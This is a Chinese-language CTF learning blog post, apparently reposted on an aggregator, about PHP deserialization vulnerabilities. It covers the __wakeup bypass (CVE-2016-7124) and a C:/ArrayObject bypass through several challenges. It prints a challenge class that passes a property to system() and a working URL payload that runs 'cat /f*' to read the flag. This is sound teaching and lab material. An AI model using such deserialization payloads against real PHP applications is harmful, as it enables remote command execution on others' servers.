初步了解序列化和反序列化

news2024/11/19 3:48:25

01什么是序列化和反序列化

序列化是将对象转化为字符串以便存储的一种方式。而反序列化恰好是序列化的逆过程,反序列化会将字符串转化为对象供程序使用。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。

02什么是反序列化漏洞

当程序在进行反序列化时,会自动调用一些函数,例如wakeup(),destruct()等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

03序列化格式中的字母含义:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

04魔术方法

例题1(几乎不会涉及较复杂绕过):[SWPUCTF 2021 新生赛]ez_unserialize

 

__wakeup()方法漏洞

漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10

影响原因:若在对象的魔法函数中存在_wakeup方法,那么之后在调用unserilize()方法进行反序列化之前则会先调用 _wakeup方法

属性个数不匹配

利用方法:当序列化字符串中表示对象属性个数值大于真是属性个数时会跳出wakeup执行

方法原理:反序列化是一个正向检索的函数,虽然对于整体来说,数量不符,无法完成反序列化,但是可以尽可能检索能够完成反序列化的目标,所以这里数量改多了,会先依次反序列化已有个单位,直到无法检索到下一个目标才判定反序列化失败。 所以当然可以触发__destruct(),完成前面属性的赋值。

eg:[SWPUCTF 2021 新生赛]no_wakeup

 

unserialize3 反序列字符串绕过

C绕过wakeup

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会

被自动调用。

跟着大佬走一遍(这部分几乎完全跟着大佬博客走着学了一遍):

引入

 //引入
 <?php
 class AAA {
 ​
     public function __wakeup() {
         echo "__wakeup";
     }
 ​
     public function __construct(){
         echo "__construct".PHP_EOL;//换行符
     }
 ​
     public function __destruct(){
         echo "__destruct".PHP_EOL;
     }
 }
 ​
 $a = serialize(new AAA());
 $mod = str_replace("O:","C:",$a);//这里是将O:替换成c:为了绕过题目中不允许的地方
 echo $mod.PHP_EOL;
 ​
 $unserialized = unserialize($mod);
 var_dump($unserialized);
 ?>
 //回显
 __construct
 __destruct 
 C:3:"AAA":0:{}
 Warning: Class AAA has no unserializer in E:\workspace2024\learn_php\test02.php on line 21
 object(AAA)#1 (0) { } __destruct

O被替换成了C以后,生成的序列化字符串被认为可调用

扩展

C这个标识符,其实也是代表实现了 Serializable接口的类,因为实现Serializable接口,我们必须要重写serialize和unserialize方法

 ​
 <?php
     //定义的AAAA的类可以实现Serializable接口,意味着该实例可以被序列化和反序列化
 class AAAA implements Serializable{
     public $name="aa";
     public $age="bb";
  
     public function serialize() {//
         return serialize(array(
             'name' => $this->name,//这是一个键值对。键是字符串 'name',值是从当前对象的 $name 属性中取得的。$this 是PHP中的一个特殊变量,它引用当前对象。        
             'age' => $this->age
         ));
     }
     
     public function unserialize($data) {
         $data = unserialize($data);
         $this->name = $data['name'];//从反序列化后的数组$data中提取'name'键的值,并将其赋值给当前对象的$name属性。
         $this->age = $data['age'];
     }
  
     public function __construct(){
         echo "__construct\n";
     }
  
     public function __wakeup() {
         echo "__wakeup()";
     }
  
     public function __destruct(){
         echo 2222222;
     }
 }
  
 $a = new AAAA();
 $b = serialize($a);
 echo $b.PHP_EOL;
  
 $c = unserialize($b);
 var_dump($c);
 //回显
 Deprecated: AAAA implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in E:\workspace2024\learn_php\test02.php on line 2
 __construct C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}} object(AAAA)#2 (2) { ["name"]=> string(2) "aa" ["age"]=> string(2) "bb" } 22222222222222

利用

 ​
 <?php
 ​
 // 获取所有已定义的类
 $classes = get_declared_classes();
 $serializableClasses = [];
 ​
 // 遍历所有类
 foreach ($classes as $class) {
     // 创建反射类对象
     $reflection = new ReflectionClass($class);
     // 判断类是否实现了 Serializable 接口
     if ($reflection->implementsInterface('Serializable')) {
         // 将实现了 Serializable 接口的类添加到数组中
         $serializableClasses[] = $class;
     }
 }
 ​
 // 输出实现了 Serializable 接口的所有原生类
 foreach ($serializableClasses as $class) {
     echo $class . PHP_EOL;
 }
 ?>

这里使用第一个,先生成一个,放到反序列化看看

 <?php
  
 class AAAA{
     public $name=1;
     public $age=2;
 }
  
 $a = new ArrayObject;
 $a -> a = new AAAA;
  
 echo serialize($a);
 //C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

 <?php
 class AAAA{
     public $name="aa";
     public $age="bb";
 ​
     public function __wakeup() {
         echo "__wakeup\n";
     }
     public function __construct(){
         echo "__construct\n";
     }
 ​
     public function __destruct(){
         echo 2222222;
     }
 }
 ​
 $c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');
 var_dump($c);
 ?>

最后发现并没有绕过wakeup,但是也可以当作一种绕过。emmm

eg:ctfshow愚人杯 easy_php

ctfshow愚人杯 easy_php

 <?php
 ​
 error_reporting(0);
 highlight_file(__FILE__);
 ​
 class ctfshow{
 ​
     public function __wakeup(){
         die("not allowed!");
     }
 ​
     public function __destruct(){
         system($this->ctfshow);
     }
 ​
 }
 ​
 $data = $_GET['1+1>2'];
 ​
 if(!preg_match("/^[Oa]:[\d]+/i", $data)){
     //说明不可以使用O:,或者a:开头
     unserialize($data);
 }
 ​
 ?>

wp:

 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";//列出所有以f开头的文件
}
$A=new ArrayObject;//ArrayObject 是 PHP 的一个类,用于实现数组作为对象的接口。
$A->a=new ctfshow;
echo serialize($A);//输出代表 $A 对象的状态。这个字符串包含了 $A 对象及其属性 a(该属性是一个 ctfshow 对象)的信息。
?>

不知道为什么自己的一直没有实现,最后经大佬指点发现是php编译器问题最后换了一个方式找到答案。

 C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

 payload:
 ?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

参考:反序列化漏洞详解-CSDN博客v99pc_search_result_base8&utm_term=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

PHP序列化和反序列化-CSDN博客v99pc_search_result_base8&spm=1018.2226.3001.4187

PHP反序列化-__wakeup()方法漏洞(CVE-2016-7124)_wakeup的漏洞-CSDN博客

ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1514715.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

删除元素.

C 用迭代器迭代&#xff0c;当条件成立删除元素。 class Solution { public:int removeElement(vector<int>& nums, int val) {for(std::vector<int>::iterator itnums.begin();it!nums.end();){if(*itval){itnums.erase(it);//vector删除时迭代器会失效&…

jenkins 使用k8s插件连接k8s集群

jenkins 安装k8s 插件 配置k8s节点 填写k8s 配置信息 生成秘钥 在服务器上面 查看地址 Kubernetes 服务证书 key cat /root/..kube/config 查看秘钥 对秘钥进行base64 位 加密 echo "秘钥内容" | base64 -d -----BEGIN CERTIFICATE----- MIIDITCCAgmgAwIB…

第一位 AI 程序员诞生,队友还是对手?

前几天&#xff0c;百度创始人李彦宏在采访中声称&#xff1a;“以后不会存在“程序员”这种职业了&#xff0c;因为只要会说话&#xff0c;人人都会具备程序员的能力”。 看到这话我的第一反应是“不可能&#xff0c;绝对不可能&#xff0c;程序员的工作有很大一部分是创造性的…

顺序表后续以及通讯录项目

⽬录 1. 基于动态顺序表实现通讯录项⽬ 2. 顺序表经典算法 3. 顺序表的问题及思考 正⽂开始 继上一篇 1.动态顺序表的查找 这里挺简单的如找不到就返回一个负数&#xff0c;因为索引不可能是负的这里就用来代表找不到 下面是找不到的示例 最终代码可以优化成这样 2.动态…

2024-03-13 作业

网络编程&#xff1a; 1.思维导图&#xff1a; 2.上课写的代码&#xff1a; 2.1网络字节序与主机字节序转换 运行代码&#xff1a; #include <myhead.h> int main() {int num 0x12345678;short int value 0x1234;int num_n htonl(num);int value_n htons(value);…

Window API 使用的一些注意事项

文章目录 1、LPCWSTR类型2、LPCTSTR类型3、LPCSTR类型4、LPCTSTR和LPCWSTR区别5、LPCTSTR和LPCSTR、LPCWSTR三者区别6、_T(" ")7、DWORD类型转换为std::wstring类型8、char类型转换为LPCSTR类型9、获取当前时间戳(毫秒)10、std::wstring和LPCSTR区别11、std::wstring…

鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:Toggle)

组件提供勾选框样式、状态按钮样式及开关样式。 说明&#xff1a; 该组件从API Version 8开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 子组件 仅当ToggleType为Button时可包含子组件。 接口 Toggle(options: { type: ToggleType, is…

android studio 连接mumu模拟器调试

1、打开mumu模拟器 2、在Android Studio 中 控制台 cd 到 sdk 目录下 platform-tools 文件夹&#xff0c;有一个adb.exe 可运行程序 一般指令&#xff1a; adb connect 127.0.0.1:7555 但是这个执行在window环境下可能会报错 解决方法是在 adb 之前加 ".\", 问题…

精读《正交的 React 组件》

1 引言 搭配了合适的设计模式的代码&#xff0c;才可拥有良好的可维护性&#xff0c;The Benefits of Orthogonal React Components 这篇文章就重点介绍了正交性原理。 所谓正交&#xff0c;即模块之间不会相互影响。想象一个音响的音量与换台按钮间如果不是正交关系&#xf…

Java初阶数据结构队列的实现

1.队列的概念 1.队列就是相当于排队打饭 2.在排队的时候就有一个队头一个队尾。 3.从队尾进对头出 4.所以他的特点就是先进先出 所以我们可以用链表来实现 单链表实现要队尾进队头出{要有last 尾插头删} 双向链表实现效率高&#xff1a;不管从哪个地方当作队列都是可以的&…

学习JAVA的第二十一天(基础)

多线程 线程&#xff1a; 线程是操作系统能够进行运算调度的最小单位。它被包含在进程之中&#xff0c;是进程中的实际运作单位。 进程&#xff1a; 程序的基本执行实体 并发&#xff1a; 在同一时刻&#xff0c;有多个指令在单个CPU上交替执行 并行&#xff1a; 在同一时刻&…

uniapp h5 部署

uniapp 配置 服务器文件路径 打包文件结构 //nginx 配置 server {listen 8300;server_name bfqcwebsiteapp;charset utf-8;#允许跨域请求的域&#xff0c;* 代表所有add_header Access-Control-Allow-Origin *;#允许带上cookie请求add_header Access-Control-Allow-C…

利用Anaconda创建环境

利用Anaconda创建环境 1. 创建环境的步骤 1. 创建环境的步骤 1.在终端中&#xff0c;使用以下命令创建一个新的 Anaconda 环境。假设您想要创建一个名为 myenv 的环境&#xff1a; conda create --name myenv2.如果您想指定 Python 版本&#xff0c;可以在创建环境时添加版本号…

改三行代码就发了SCI一区?基于全面学习策略的Jaya算法!学会你也可以!CEC2017效果极佳!

声明&#xff1a;文章是从本人公众号中复制而来&#xff0c;因此&#xff0c;想最新最快了解各类智能优化算法及其改进的朋友&#xff0c;可关注我的公众号&#xff1a;强盛机器学习&#xff0c;不定期会有很多免费代码分享~ 目录 原始Jaya算法 改进Jaya算法策略详解&…

使用Golong轻松实现JWT身份验证

使用Golong轻松实现JWT身份验证 JSON Web Tokens (JWT)是一种流行的安全方法&#xff0c;用于在两个方之间表示声明。在Web应用程序领域&#xff0c;它们通常用作从客户端向服务器传输身份信息&#xff08;声明&#xff09;的方式。本教程将引导您逐步实现Go应用程序中的JWT身份…

操作系统内功篇:硬件结构之CPU是如何运行的?

本文分5个小结&#xff0c;分别是图灵机工作方式&#xff0c;冯诺依曼结构&#xff0c;总线线路位宽和CPU位宽&#xff0c;程序执行的基本过程&#xff0c; a12的具体执行过程。 一 图灵机的工作方式 图灵机由纸带&#xff0c;读写头组成。读写头上有一些部件例:存储单元&#…

java集合框架——List集合概述及ArrayList,LinkedList的区别

前言&#xff1a; List系列集合是Collection集合中两个系列的其中一个&#xff0c;整理下笔记。打好基础&#xff0c;daydayup&#xff01; 需要了解Collection的&#xff0c;可以看这篇java集合框架——Collection集合概述 List系列集合 List系列集合的特点为添加的元素有序&…

python-0007-django模版

介绍 模版是对js&#xff0c;html等资源的封装 新建 在项目路径下新建模版文件夹templates&#xff08;可以为其他名称&#xff09;&#xff0c;要是想细分业务的话&#xff0c;还可以在templates路径下继续建文件夹。如下图&#xff1a; 注册模版 在项目的settings找到T…

分布式链路追踪(一)SkyWalking(1)介绍与安装

一、介绍 1、简介&#xff1a; 2、组成 以6.5.0为例&#xff0c;该版本下Skywalking主要分为oap、webapp和agent三部分&#xff0c;oap和webapp分别用于汇总数据和展示&#xff0c;这两块共同组成了Skywalking的平台&#xff1b;agent是探针&#xff0c;部署在需要收集数据的…

深入解析C++树形关联式容器:map、set及其衍生容器的使用与原理

文章目录 一、引言二、关联式容器的中的 paira.pair 的创建及使用b.pair 间的比较 三、 map 与 set 详解1. map 的基本操作2. set 的基本操作3.关联式容器的迭代器 四、 multimap 与 multiset 的特性五、关联式容器的使用技巧与注意事项1. 键值类型的选择与设计2. 自定义比较函…